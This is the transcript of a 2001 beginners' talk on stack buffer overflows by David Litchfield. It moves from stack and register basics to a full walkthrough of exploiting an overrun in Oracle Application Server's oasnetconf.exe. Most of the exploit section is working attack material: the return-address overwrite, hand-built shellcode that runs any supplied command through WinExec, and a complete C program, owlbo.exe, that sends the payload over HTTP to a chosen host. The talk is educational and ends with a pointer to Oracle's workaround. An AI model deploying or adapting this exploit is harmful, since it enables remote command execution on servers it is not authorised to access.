Buffer Overflows for Beginners

David Litchfield June 2001

About three hundred and seventy fives years before Caesar was conquering Britain a philosopher called Socrates claimed that the only thing he knew was that he new nothing. One thing is evident - he certainly did not know that someone would be ripping off one of his lines to introduce a talk about buffer overruns over two millennia later. However, his words and their import hold true for all of us today especially in the IT security industry. There is just so much to learn and the more you do the more you realize that, in the larger picture we really do know nothing. That's what this talk is about. Over the next hour or so I'm going to attempt to teach those with absolutely no knowledge about buffer overruns about what one actually is, how to recognize one and ending with how to exploit one - using an as-of-yet-undisclosed buffer overrun vulnerability in a major database vendor's web front end. Hopefully you'll see that you don't really need to know that much to be able to getting a working exploit. I assume that some in this room do know nothing and others know everything there is to know about overruns and are just here to heckle me.

So what is a buffer overrun and why should you care? The SANS institute a few months back released a list of the 10 most commonly used methods to break into servers. Of these ten a large number can be attributed to buffer overrun vulnerabilities. They are a major problem. This is why you should know about them. So what are they then? A buffer overrun occurs when a program sets aside, say, 100 bytes of memory to hold some data, (this is the buffer), but then the user tries to stuff in 200 bytes of input, and like someone attempting to pour a pint of milk into a glass that'll only hold half a pint, the remainder will overflow. It is plainly obvious that half of the pint will go into the glass but the remainder will fall onto the floor. Though you really shouldn't cry over spilt milk there is certainly good cause to cry over the computer equivalent - well if it's your server with the overflow vulnerability, anyway. When this overflow occurs the (talking about computer overflows) the remainder of the data that spills out of the buffer can overwrite critical values in memory that control the program's path of execution. What do I mean by that? We'll imagine if a simple program prompted a user for input and then simply printed what the user typed to the screen. Under normal circumstances the path of execution would be:

A Ask the user to type something.

B Set aside 100 bytes of memory as a buffer to hold whatever the user type.

C Wait for input.

D On getting the user's input copy all of it to the 100 byte buffer.

E Read the contents of the buffer and print it to the screen.

This is fine providing the user enters less than 100 bytes of input. However if the user does enter more than 100 bytes then things will go wrong. In this case instead of executing sequentially from A to E procedure E is obliterated and the program will choke and access violate. On the other hand a crafty user might not just obliterate step E but replace it instead with a procedure F - a procedure that they have crafted to do evil things. When I spoke about procedure E getting obliterated I'm not being exactly technically correct. It doesn't get obliterated it is simply by-passed and the program's execution is re-routed away from E to F. Let me explain this further by looking at the guts of how a program executes:

When you run a program it becomes known as a process and is given 4 Gigabytes of address space to execute in by the underlying operating system. How can this be? You may ask when your PC only has 128 Megabytes of RAM. We'll were talking about a virtual address space, a sort of illusion created for the program by the operating system making the program think it has a 4 Gigabyte playground to execute in. Pretty much like what the Matrix did for Keaau before he took the red pill.

Each byte of the 4 gigabytes of address space has an address starting from 0x00000000 to 0xFFFFFFFF. Note we're using hexadecimal notation or Base16. For those that don't know what this means it is simply a numbering system that has the numbers 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Most numbers in this talk will be in hex form unless I state otherwise. But back to the addressing, what happens when you run a program is that the actual code is mapped into the address space, say, starting at address 0x00400000. Any Dynamic Link Libraries or DLLs used by the program will also be loaded into the address space at various addresses. A DLL contains computer code that hasn't been directly compiled or included directly into the program image file, that actual .exe file, itself. This way a computer program's image file can be smaller by using a shared set of DLLs that other programs can use too.

As you'll be aware most programs manipulate data in one form or another. Any that don't will be pretty useless. Accordingly there's a block of this address space that's designated as the area where data is to be stored and manipulated. This area is known as the STACK and dynamically shrinks and grows as and when desired. It's easiest to think of the stack as expandable workbench. When the stack does grow it grows towards address 0x00000000 and when it shrinks it shrinks down towards address 0xFFFFFFFF:

Assuming the bottom of the stack can be found at address 0x0012FF0F it looks like this before it grows

0x00000000

...

0x0012FF00

0x0012FF01

0x0012FF02

0x0012FF03

0x0012FF04

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08 ---------- Top of the stack

0x0012FF09

0x0012FF0A

0x0012FF0B

0x0012FF0C

0x0012FF0D

0x0012FF0E

0x0012FF0F ---------- Bottom of the stack

...

0xFFFFFFFF

But then looks like this when it does grow

0x00000000

...

0x0012FF00

0x0012FF01

0x0012FF02

0x0012FF03

0x0012FF04 ---------- New top of the stack

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08 - - - - - - - - - - - - - - (old top of the stack)

0x0012FF09

0x0012FF0A

0x0012FF0B

0x0012FF0C

0x0012FF0D

0x0012FF0E

0x0012FF0F ---------- Bottom of the stack

...

0xFFFFFFFF

But when it shrinks it looks like this

0x00000000

...

0x0012FF00

0x0012FF01

0x0012FF02

0x0012FF03

0x0012FF04 - - - - - - - - - - - - - - - (old top of the stack)

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08

0x0012FF09

0x0012FF0A

0x0012FF0B

0x0012FF0C ------------------------------ New top of the stack

0x0012FF0D

0x0012FF0E

0x0012FF0F ------------------------------ Bottom of the stack

...

0xFFFFFFFF

So where is this leading? Just setting the scene to explain how a program executes and it's important to know about the stack before I can explain it. As you'll see this is integral to understanding and exploiting a buffer overrun.

A program can really be divided up into loads of discrete chunks of computer code called procedures that each perform their own little task but when combined as a whole together they provide the program's functionality. Each of these procedures execute and then when finished the next procedure is called to do its little bit. When the next procedure is called, and this is the key, the address following the address of where the call to execute the next procedure can be found is pushed onto the stack. It sounds difficult to grasp but it isn't really - not with the aid of a diagram anyway.

Consider the following: The top of the stack can be found at address 0x0012FF04. The program is just about to execute the instruction that can be found at address 0x401F2034 - "call procedure Q" which can be found at address 0x40209876.

0x00000000

...

0x0012FF00

0x0012FF01

0x0012FF02

0x0012FF03

0x0012FF04 ------------------------------ Top of the stack

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08 ------------------------------ Bottom of the stack

...

...

0x401F2034 call procedure Q <---------- Processor is about to execute this

0x401F2035

...

0x40209876 procedure Q

...

0xFFFFFFFF

When this instruction at address 0x401F2034 is executed our address space looks like this:

0x00000000

...

0x0012FF00 ---------- Top of the stack

0x0012FF01 40

0x0012FF02 1F

0x0012FF03 20

0x0012FF04 35

0x0012FF05

0x0012FF06

0x0012FF07

0x0012FF08 ---------- Bottom of the stack

...

...

0x401F2034 call procedure Q

0x401F2035

...

0x40209876 procedure Q <---------- Processor is about to execute this

...

0xFFFFFFFF

As you can see the address immediately after the address where "call procedure Q" can be found has been pushed onto the top of stack. The reason this happens is so that when procedure Q has finished its task and is ready to return the processor can pull this address off of the stack and resume execution from where it left off. This address is known as the "saved return address".

From an attacker's perspective if this saved return address could somehow be overwritten with

something else then when procedure Q has finished executing and the replaced return address is peeled off of the stack then it would be possible to get the program to execute arbitrary code.

Imagine if somehow an attacker could overwrite this saved return address - it would then be possible to jump to an arbitrary address in memory of the attacker's choosing thus radically altering the original intended path of the program's execution. Jump to the right place and it might even be possible to execute computer code of the attacker's choosing too. Enter the buffer overrun exploit. Remember the stack is also the place where data is manipulated. If we can find and cause a buffer overflow it will be possible to overwrite this saved return address and gain complete control of the program's execution.

This is the first step in being able to exploit a buffer overrun but why do situations that allow memory buffers to be overflowed crop up? More often that not buffer overrun vulnerabilities are caused by poor or lazy programming though in all fairness they can be simply an oversight. Further to this the programming language used to write the program in the first instance is partially to blame too. Most overruns can be found in programs written in C or C++ and are usually caused by how C handles character strings. Other programming languages handle strings in a much more safe manner.

Consider the following C source code:

```
#include <stdio.h>

int main()

{

		char garbage[100];

		printf("Enter some characters: ");

		gets(garbage);

		printf("You typed %s\n", garbage);


		return 0;

}
```

Simply this program, when compiled, will ask the user to "Enter some characters:" and when this has been done it tells the user they typed - well whatever it is they typed. Note the gets() function. This copies data typed in at the keyboard and copies it to a buffer - in this case a buffer called "garbage" that is 100 bytes big. The problem with the gets() function is it keeps on copying data until it comes across a NULL byte and if the first NULL byte happens to be 200 bytes away from the beginning of the string then 200 bytes will be copied to a 100 byte buffer. The maths simply just doesn't go and the overflow occurs. A NULL is simply a byte with a numeric value of 0. Strings are terminated with a NULL to denote where they end.

Other C function that lead to similar problems are strcpy() which copies the contents of one string buffer to another, strcat(), which tacks on to the end of one string buffer a second buffer. Obviously in both of these cases if one buffer isn't big enough to hold the other then an overflow occurs. There are other C functions that have similar problems but these will do for the moment. These functions all do however have safer equivalents. For example strcat () has strncat(), strcpy() has strncpy() and gets() has fgets(). With each of these you specify how many bytes are to be copied to the buffer regardless of where the string is null terminated. In cases where the string would be too long to fit into the buffer and one of these safer functions are being used then the string would be truncated - providing the programmer ensures he copies a number of bytes less than the size of the buffer being filled.

Putting this together then here's how we gain control of the program's path of execution:

A Program calls the "print a message to the screen asking the user to type something" procedure

B Return address is pushed onto the stack

C "print a message to the screen asking the user to type something" procedure executes

D "print a message to the screen asking the user to type something" procedure returns to the address that was saved on the stack.

E Program sets aside 100 bytes of memory on the stack for the buffer

Here the user enters 200 bytes of input

F Program calls the "copy the user supplied data to buffer on stack" procedure

G Return address is pushed onto the stack

H The "copy the user supplied data to buffer on stack" procedure executes and copies those 200 bytes of user-supplied data to the stack

At step H in the process of doing this the saved return address on the stack is overwritten.

J The "copy the user supplied data to buffer on stack" procedure returns to the address that was saved on the stack.

Aha! But this has been overwritten with the user-supplied data. Now here's the crunch: We now control where the program will return to and if we overwrite this to an address in memory where our user supplied data can be found we can possibly execute computer code of our choosing. We do this by putting the code in that data we supply and so when the program returns it does so to our buffer and computer code. And then the code is executed.

Simply this is the buffer overrun exploited. Granted the actual mechanics of exploiting the overrun are more difficult, but before we examine the exploit building process I'd better explain a few more things. For those waiting for the Zero Day sploit info you'll just have to hang on a few minutes longer as I need to explain a bit more about how a program executes.

Everyone knows that a computers CPU or processor is the hardware component that does all the donkeywork. It's the "thing", for want of a better word that executes a program's code. I keep on referring to computer code - what is computer code exactly? We'll, again, as many of you know computers are logical beasts and work with numbers. To a computer everything is seen as a number - a binary one at that. To be able to do anything useful a processor needs to have an set of instructions that it "knows" and can blindly follow - for example if it comes across the instruction 0x55 it "knows" what to do with it - it knows this because it has an instruction set. This instruction set is a list of operations that map to a numeric value or code. These are often referred to as OPCODEs. That's all computer code is - it is a list of opcodes strung together in a certain way that'll produce something useful. When someone programs with these numbers it is known as programming using machine code - in other words the real language that the computer "talks" and understands. When we program in a high-level language like C our human friendly source code is converted into machine code. It is this that is executed by the computer.

To help with the actual processing a processor has little storage units on it called registers. These

registers can hold values, addresses and the like. Some of them have a special purpose. For example the EIP register is the Instruction Pointer - it contains the address of (or points) to the next instruction to execute. Remember the stack? There are two registers that are specifically there to help with manipulating and keeping track of data stored on the stack. The EBP register is the Base Pointer and contains the address of the bottom of the stack. Then there's the ESP or Stack Pointer, which points to the top of the stack. As far as this talk goes these three registers are enough to know about as far as their purpose is concerned. For the time being though, just note we have a number of other registers available for use such as the EAX, ESI, EDI and a few others. It is with the use of these registers that the work is actually done. Before you can manipulate any data a pointer to it needs to be placed into one of these registers. Slightly more user friendly than machine code is assembly language.

Consider the following snippet of assembly code:

```
mov eax, 0x04

mov edx, 0x01

add eax, edx
```

This simply MOVes into the EAX register the hex value 0x4, then MOVes the value 0x1 into the EDX register and finishes by adding the EAX and EDX registers together leaving the value 0x5 in the EAX. Simple really, eh?

When we're building our exploit code we'll be using assembly language and then once done we'll put it through the debugger to get the machine code equivalent. It is this machine code that we'll be putting in our buffer.

So with all this let's set about building our exploit. In my opinion there are seven steps to building a buffer overrun exploit.

1) First find a buffer overrun vulnerability

2) When found find out how many bytes are required to overwrite the saved return address

3) Find a copy of our user supplied data in the address space

4) Work out what address we need to use to overwrite the saved return address with to be able to get back to our buffer

5) Work out what we want we want to do with the overflow exploit

6) Write our computer code that'll perform what we decided we wanted to do in step 5

7) Test it.

As far as this talk is concerned stage 1 is fairly easy - I'll be telling you where a buffer overrun vulnerability can be found. To find one there are a number of ways to do it. You could read through source code looking for slip-ups - that is of course if the source code is available. If the source code isn't available then you could use a debugger or decomplier. Or simply you could sit through and look at all areas where you can input information into a program. But you have to look at the right programs. Basically you're looking for an overflow that is a program that you can access remotely or if your looking to gain elevated privileges on your own machine then examine all processes that have more access rights / privileges than yourself. We're going to look at a remotely exploitable buffer overrun that, in most cases, runs with system privileges. This is the nirvana of the buffer overflow hunter. A remotely exploitable buffer overrun that runs with system privileges means we can compromise servers with ease. Such an overrun hands you the keys to the car.

So where is it? Oracle makes great database servers. Their web front end leaves something to be desired though. On its own Oracle Application Server provides a web server called Oracle Web Listener. Oracle Application Server can also be layered on top of other web servers such as Apache, Internet Information Server and Netscape Enterprise Server to enable the use of PL/SQL to provide web front-end functionality that feeds into an Oracle database server. Regardless of whether Oracle Web Listener is in use or OAS is layered on top of another web server a directory called /ows-bin/ is created. This /ows-bin/ is by default accessible anonymously over the World Wide Web and contains a number of executables, many of which are shot through with buffer overrun vulnerabilities. As far as physical location is concerned, on NT anyway, this virtual directory physically maps to c:\orant\ows\4.0\bin

For example oasnetconf.exe

The overrun occurs when an overly long string is supplied after the -s switch

oasnetconf.exe -l -s AAAAAAA.....AAAAAAAA

2) When found, find out how many bytes are required to overwrite the saved return address

The simplest way to find the number of bytes required to overflow the buffer then overwrite the saved return address, without getting too technical about it, is to use a string of alternating alphanumerics in 4 character chunks - e.g. AAAABBBBCCCCDDDDEEEE and so on - if the buffer will hold every character and more without overflowing simply prepend more of the first character you're using AAAAAAAAAAAAAA...BBBBCCCCDDDD - in this particular case using a string of

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNN
NNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccddddeeeeffffgggghh
hhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz1111222233334444
555566667777888899990000

will cause an access violation: The instruction at address 0x7a7a7a7a referenced memory at 0x7a7a7a7a - we've overwritten the saved return address with our lower case "zeds". That means that the buffer is 300 bytes. What to do now is slap on an extra 440 upper case As on the end to this string and overflow the buffer again. This time debug it.

3) Find a copy of our user supplied data in the address space

Once the debugger has kicked in, I use Microsoft's debugger as comes with Visual C++ by the way, we need to see if we can find our overflow string. The easiest way to do this is to analyze the contents of each register - especially the ones that reference the stack - namely the EBP and ESP. By looking at the address held in the ESP register we find an address of 0x0012C774 - this is the top of our stack (this address will invariably change, by the way). By going down to address we can find some of our overflow string - starting from the four 1s. What does this mean then? All we have to do is place any exploit code immediately after our four "zeds" and if somehow if we can manage to get to processor to go to this address and starting executing what it finds there we'll have gained control.

4) Work out what address we need to use to overwrite the saved return address with to be able to get back to our buffer

Remember we have overwritten the saved return address and what that means. It means that the address that the processor should've returned to after the procedure it had just finished executing had called RETurn has been overwritten by us, the attacker. That means we can overwrite it with almost

anything we want - I say anything because we can't have a NULL in it - remember they terminate strings in C anything we would place after it would just be, well, not there. Our code-to-be can found at the ESP - to get back there all we need to do is overwrite the saved return address with an address that contains either a "jmp esp" or "call esp" instruction - these two instructions do essentially the same thing - the processor will go to the ESP and start executing downwards from there. This way what'll happen is when the finishing procedure calls ret our address is peeled off of the stack - the process then goes to this address to find its next instruction to execute - what'll be call or jmp esp and when this executes the processor will go down to the ESP and executes what it finds there. The only problem now is to find such an instruction in memory that doesn't contain a NULL. A few things can be done to help speed this process up. You can use something like UltraEdit, a binary editor, to search for FF E4 or FF D4 (the actual machine opcodes for the jmp esp and call esp instructions) in every DLL that is used and therefore loaded into the address space by the program. We know that kernel32.dll will always be loaded, for example, so we root through that looking for our opcodes. When we find them we look at the offset from the beginning of the file - we can find FF E4 (the jmp esp opcode) at 0x32836 offset from the start of the kernel32.dll. We then go back to our debugger and go add this offset to the base address of the DLL. For example the base address of kernel32.dll is 0x77F00000 - on Windows NT 4 SP6 anyway - we add the offset 0x32836 to the base address to come up with 0x77F32836 and go to that address - and bang there's our FF E4 opcode. So if we overwrite the saved return address with 0x77F32836 when the function RETurns the processor will go to this address, execute the instruction it finds which lands us at the tope of our exploit code.

So anyway this is the address we'll use to overwrite the saved return address - i.e. we'll replace our lowercase zeds with this - with one caveat we need to load it in backwards. i.e. x36x28xF3x77. Now we have a way to get back to our exploit code - we need to write it.

5) Work out what we want we want to do with the overflow exploit

Before we can write our exploit code we need to know what we want to do. First off we need to consider where the overflow is. It's in an exe that is accessed over the web this means it goes over TCP port 80 and we can make the assumption that the target is protected by a firewall - allowing incoming traffic over ports 80 and maybe 443. Because these ports will be bound to another process there's no point in trying to spawn a remote shell that'll listen on these ports and there's no point in doing it on another port because it may be blocked by the firewall. We want this exploit to work on every server protected by a firewall or not. Rather than spawning a remote shell we should code an exploit that'll give us the equivalent of a remote shell - something that'll allow us to run not only arbitrary code but also arbitrary commands - without having to ever change the exploit code. What we can do append a

command, any command to our exploit code and get our code to find this command and then execute that.

e.g. AAAAAAAAAAAAAAAAexploit-code-zzzz-cmd.exe /c dir

To do this we'll need to understand something about the way arguments are supplied to programs. Basically any arguments, and the whole command line for that matter can be found in another area of memory called the HEAP. Like the STACK the HEAP holds data - sort of. On the heap you can find the environment variables, the command line and other "stuff" which I won't go into now. All we need to know for this is that whatever we supply to oasnetconf.exe will be found on the heap - including our exploit code and everything we supply after it. What we could get our exploit code to do is work out where our command line is - and step through this until it finds a "special" dword - when it finds this it "knows" everything after this is a command to execute. Don't worry - this will become much more clear. Essentially we'll get our exploit code to do the equivalent of the following C:

We'll use GetCommandLineA () to get the address of the command line.

We'll then step through everything downwards from this address looking for a special byte that denotes our command to run. When we find this we'll supply this address to WinExec(). WinExec() will execute a command so when we supply it the address of our command to run it'll go off and execute it. We'll choose our special byte by looking through our final exploit code and choose a value that isn't in there. For example if the byte 0xFE is not in our exploit code we could use this as our demarker. If we were to use a byte that was in our exploit code then we wouldn't be able to find our command to run.

6) Write our computer code that'll perform what we decided we wanted to do in step 5

The first thing we need to do is preserve the state of the stack - if we don't do this we could mess up our exploit code. We do this with the procedure prologue:

```
push ebp

mov ebp,esp
```

We need to call GetCommandLineA() first so we open up kernell32.dll in Quick View and look through the Export Table for this function. An Export Table is the list of functions exported by the DLL that other DLLs or EXEs can call. The Export Table tells us that GetCommandLineA can be found at offset 0001A3F5 so we add this to the base of kernel32.dll to give us 0x77F1A3F5. GetCommandLineA() takes no arguments so all we need to do is load this address into a register and then call it:

```
mov ebx, 0x77F1A3F5

call ebx
```

This will go off and execute GetCommandLineA() - when it returns it places the address of the command line place in the EAX register. Now we've got our Command Line back we'll step through the string looking for our "special" dword that denotes where our command to run can be found. At this point in time we can assume that 0x7a7a7a7a won't exist in the command line so we'll use that.

```
here:

add eax,1

mov edx,dword ptr [eax]

cmp edx,0x7a7a7a7a

jne here
```

Aha - but now we have 0x7a7a7a7a in our command line. To avoid this we'll have to do this:

```
mov esi, 0xFFFFFFFF

sub esi, 0x85858585

here:
```

```
add eax,1
mov edx,dword ptr [eax]
cmp edx,esi
jne here
```

What this code basically loops until it comes across the special dword. It does this by incrementing the address in the EAX register by 1, then MOVes the dword pointed to by the EAX into the EDX register. It then CoMPares the EDX register with the ESI register which contains 0x7a7a7a7a - our special dword.

Here we have a problem. Some web servers, such as IIS, will kick out an error if there appears to be two file requests - and there would be in this case. A call to oasnetconf.exe and the command we want to run. We'll have to obscure it in the request. We do this by adding 1 to every character in our command and then supply it to the server tacked onto the end of the exploit code. Because of this we'll have to undo this as part of our exploit. First off we mov the pointer to our command line into another register:

```
mov edx,eax
```

Then we go through another loop:

```
here2:
sub byte ptr[edx],1
add edx,1
movsx edi,byte ptr[edx]
cmp edi,0x58
```

```
jne here2
```

What this code does is subtract 1 from the byte pointed to by edx, adds 1 to edx to move on down the line, moves the byte pointed to by edx into the edi register then compares it with 0x58 or uppercase “X”. We’re going to use this uppercase “X” to delimit the end of our command to run. This code keeps on looping until it comes across this “X”. No puns about X marks the spot.

Once this loop ends we’re going to need to get rid of this X - we do so by subtracting 58 from the byte pointed to by edx.

```
sub byte ptr[edx],0x58
```

WinExec() takes two arguments. A pointer to a string of the command to run and a DWORD that denotes how the program should be displayed. For example SW_HIDE is defined a 0. For ease we'll just use 0 . To get zeros we all we need to do is XOR a register with itself - when this is done we'll push it onto the stack:

```
xor esi, esi
push esi
```

The second argument we need to pass to WinExec() is a pointer to the string of our command to run. This is stored in EAX at the moment - well not strictly speaking true - EAX points to our zeds - our special dword - so we’ll need to add 4 to eax and then push onto the stack too:

```
Add eax, 4
push eax
```

Now we have our arguments primed we'll load the address of WinExec() into a register and then call it. When it's called it'll look on the stack for its arguments. We do the same as we did for GetCommandLineA() to get the address, which turns out to be 0x77F1A986

```
mov ebx, 0x77F1A986
call ebx
```

This should now go off and execute the command we've slapped onto the end of our exploit code. To cleanly kill oasnetconf.exe without causing an access violation we call ExitProcess():

```
mov ebx, 0x77F19F92
call ebx
```

Okay - that's our exploit code. Not very much to it really. Now we have our assembly code we need to get out our opcodes - we do this by cutting and pasting this code into a simple C source file that calls the __asm() macro.

```
#include <stdio.h>
int main()
{
        __asm{
                push ebp
                mov ebp,esp

                mov ebx, 0x77F1A3F5
                call ebx
```

```
                                        add eax,57

here:

                                        add eax,1
                                        mov edx,dword ptr [eax]
                                        cmp edx,0x7a7a7a7a
                                        jne here

mov edx,eax
here2:
sub byte ptr[edx],1
add edx,1
movsx edi,byte ptr[edx]
cmp edi,0x58
jne here2

sub byte ptr[edx],0x58

                                        xor esi, esi
                                        push esi

                                        add eax,4
                                        push eax
                                        mov ebx, 0x77F1A986
                                        call ebx
```

```
                                        mov ebx, 0x77F19F92
                                        call ebx
                                }

        return 0;
}
```

We then open up Visual C++ and then build it. Once built we debug it. By doing this we can extract the opcodes:

```
00401028 55                 push    ebp
00401029 8B EC              mov     ebp,esp
0040102B BB F5 A3 F1 77     mov     ebx,77F1A3F5h
00401030 FF D3              call    ebx
00401032 83 C0 39           add     eax,39h
here:
00401035 83 C0 01           add     eax,1
00401038 8B 10              mov     edx,dword ptr [eax]
0040103A 81 FA 7A 7A 7A 7A  cmp     edx,7A7A7A7Ah
00401040 75 F3              jne     here (00401035)
00401042 8B D0              mov     edx,eax
here2:
00401044 80 2A 01           sub     byte ptr [edx],1
00401047 83 C2 01           add     edx,1
0040104A 0F BE 3A           movsx   edi,byte ptr [edx]
0040104D 83 FF 58           cmp     edi,58h
00401050 75 F2              jne     here2 (00401044)
```

```
00401052 80 2A 58                sub             byte ptr [edx],58h
00401055 33 F6                   xor             esi,esi
00401057 56                      push            esi
00401058 83 C0 04                add             eax,4
0040105B 50                      push            eax
0040105C BB 86 A9 F1 77          mov             ebx,77F1A986h
00401061 FF D3                   call            ebx
00401063 BB 92 9F F1 77          mov             ebx,77F19F92h
00401068 FF D3                   call            ebx
```

Now we have our opcodes we can choose what our special byte is going to be - we'll stick with 0x7a7a7a7a - otherwise known as 4 lowercase zeds.

All we need to do now is put everything together in an exploit program:

First off we need to fill up the buffer, then place 0x77F32836 as the value to overwrite the saved return address with then tack on our opcodes. We can also write our exploit program to convert the command for us too:

```
/*****************************************************************
/*
/*                  owlbo.exe
/*
/*                Buffer overflows oasnetconf.exe on Oracle Application Server
/*                  Addresses should be changed for non-service pack 6a machines
```

```
/*
/*
/*
/*****************************************************************/

#include <windows.h>
#include <winsock.h>
#include <string.h>
#include <stdio.h>



struct sockaddr_in sa;
struct hostent *he;
SOCKET sock;
char hostname[256];
char commandtorun[2000];



int main(int argc, char *argv[])
{
                int chk=0,count =0;


                if(argc !=3)
                                {
                                                printf("Usage: C:\\>owlbo.exe host port\nDavid Litchfield
(mnemonix@globalnet.co.uk)\n\n");
```

```
                                        return 0;
                        }
strncpy(hostname,argv[1],250);



printf("Enter the command to run: ");
fgets(commandtorun,2000,stdin);
chk = strlen(commandtorun);

commandtorun[chk-1]=0x00;



// We do this to hide the command to run from the web server
// Not doing this can cause web server to reject request
while(count < (chk))
                        {
                                        commandtorun[count]++;
                                        count ++;
                        }

// Need this X on the end to mark the end of our command to run
strcat(commandtorun,"X");

chk = startWSOCK(hostname);
```

```
		chk = doBO(atoi(argv[2]));
		return 0;
}

int startWSOCK(char *swhost)
{
		int err=0;
		WORD wVersionRequested;
		WSADATA wsaData;

		wVersionRequested = MAKEWORD( 2, 0 );
		err = WSAStartup( wVersionRequested, &wsaData );
		if ( err != 0 )
			{

				return 2;
			}
		if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
			{
				WSACleanup( );
				return 3;
			}
```

```
		if ((he = gethostbyname(swhost)) == NULL)
			{
				return 4;
			}
		sa.sin_addr.s_addr=INADDR_ANY;
		sa.sin_family=AF_INET;
		memcpy(&sa.sin_addr,he->h_addr,he->h_length);

		return 0;
}

int doBO(int portnum)
{
		int snd=0, rcv=0, count=0;
		char resp[200];
		unsigned char buffer[4000]="GET /ows-bin/oasnetconf.exe?-l%20-s%20";
		unsigned char exploit[1500]="";

		sa.sin_port=htons(portnum);
		sock=socket(AF_INET,SOCK_STREAM,0);
		bind(sock,(struct sockaddr *)&sa,sizeof(sa));

		if (sock==INVALID_SOCKET)
			{
				printf("Invalid Socket!\n");
```

```
                closesocket(sock);
                return 0;
        }
else
        {
                printf("");
        }

if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
        {
                printf("Couldn't connect on port %d",portnum);
                closesocket(sock);
                return 0;
        }
else
        {
                while(count <300)
                        {
                                exploit[count]=0x41;
                                count ++;
                        }

//Overwrite save return address with 0x77F32836
exploit[count++]=0x36;
```

```
exploit[count++]=0x28;
exploit[count++]=0xf3;
exploit[count++]=0x77;

// push ebp
exploit[count++]=0xCC;

// mov ebp,esp
exploit[count++]=0x8B;
exploit[count++]=0xEC;

// mov                ebx,77F1A3F5h
exploit[count++]=0xBB;
exploit[count++]=0xF5;
exploit[count++]=0xA3;
exploit[count++]=0xF1;
exploit[count++]=0x77;

// call ebx
exploit[count++]=0xFF;
exploit[count++]=0xD3;

// mov esi, 0xFFFFFFFF
exploit[count++]=0xBE;
```

```
exploit[count++]=0xFF;
exploit[count++]=0xFF;
exploit[count++]=0xFF;
exploit[count++]=0xFF;

// sub esi, 0x85858585
exploit[count++]=0x81;
exploit[count++]=0xEE;
exploit[count++]=0x85;
exploit[count++]=0x85;
exploit[count++]=0x85;
exploit[count++]=0x85;

// Loop to find our command line
// add eax,1
  exploit[count++]=0x83;
exploit[count++]=0xC0;
exploit[count++]=0x01;

// mov edx,dword ptr [eax]
exploit[count++]=0x8B;
exploit[count++]=0x10;

// cmp edx,esi
  exploit[count++]=0x3b;
```

```
        exploit[count++]=0xd6;

        // jne here (00401035)
          exploit[count++]=0x75;
        exploit[count++]=0xF7;

        // mov edx,eax
        exploit[count++]=0x8B;
        exploit[count++]=0xD0;

        // sub byte ptr[edx],1
        exploit[count++]=0x80;
        exploit[count++]=0x2A;
exploit[count++]=0x01;

        // add edx,1
        exploit[count++]=0x83;
exploit[count++]=0xc2;
        exploit[count++]=0x01;

        // movsx edi,byte ptr[edx]
exploit[count++]=0x0F;
        exploit[count++]=0xBe;
exploit[count++]=0x3a;
```

```
        // cmp edi,0x58
        exploit[count++]=0x83;
exploit[count++]=0xFF;
        exploit[count++]=0x58;

        // jne here2
exploit[count++]=0x75;
        exploit[count++]=0xF2;

        // sub byte ptr[edx],0x58
exploit[count++]=0x80;
        exploit[count++]=0x2A;
        exploit[count++]=0x58;

        // xor esi,esi
          exploit[count++]=0x33;
        exploit[count++]=0xF6;

        // push esi
          exploit[count++]=0x56;

        // add eax,4
          exploit[count++]=0x83;
        exploit[count++]=0xC0;
        exploit[count++]=0x04;
```

```
// push eax
  exploit[count++]=0x50;

// mov ebx,77F1A986h
  exploit[count++]=0xBB;
exploit[count++]=0x86;
exploit[count++]=0xA9;
exploit[count++]=0xF1;
exploit[count++]=0x77;

// call ebx
  exploit[count++]=0xFF;
exploit[count++]=0xD3;

// mov ebx,77F19F92h
  exploit[count++]=0xBB;
exploit[count++]=0x92;
exploit[count++]=0x9F;
exploit[count++]=0xF1;
exploit[count++]=0x77;

// call ebx
  exploit[count++]=0xFF;
exploit[count++]=0xD3;
```

```
// append our "special" byte
exploit[count++]=0x7A;
exploit[count++]=0x7A;
exploit[count++]=0x7A;
exploit[count++]=0x7A;

// Tack exploit code onto the buffer
strcat(buffer, exploit);

// Slap on our command to run
strncat(buffer,commandtorun,2000);

// These are needed to denote the end of our HTTP request
strcat(buffer, "\n\n");


// Send our exploit code
snd = send(sock,buffer,strlen(buffer),0);

printf("Payload sent to server - if you don't get a 5xx response the exploit has failed:\n");
rcv = recv(sock,resp,20,0);
printf("%s",resp);
closesocket(sock);
                        }
```

```
return 0;

}
```

7) Test it.

Once the code is written all that's left is to test it. Then debug, re-write and re-test until you get it right.

Protection.

Oracle were informed about this overrun issue and several other problems in April and they have made a workaround available from Technet

http://technet.oracle.com/products/oas/index2.htm?Support&pdf/owsbina.pdf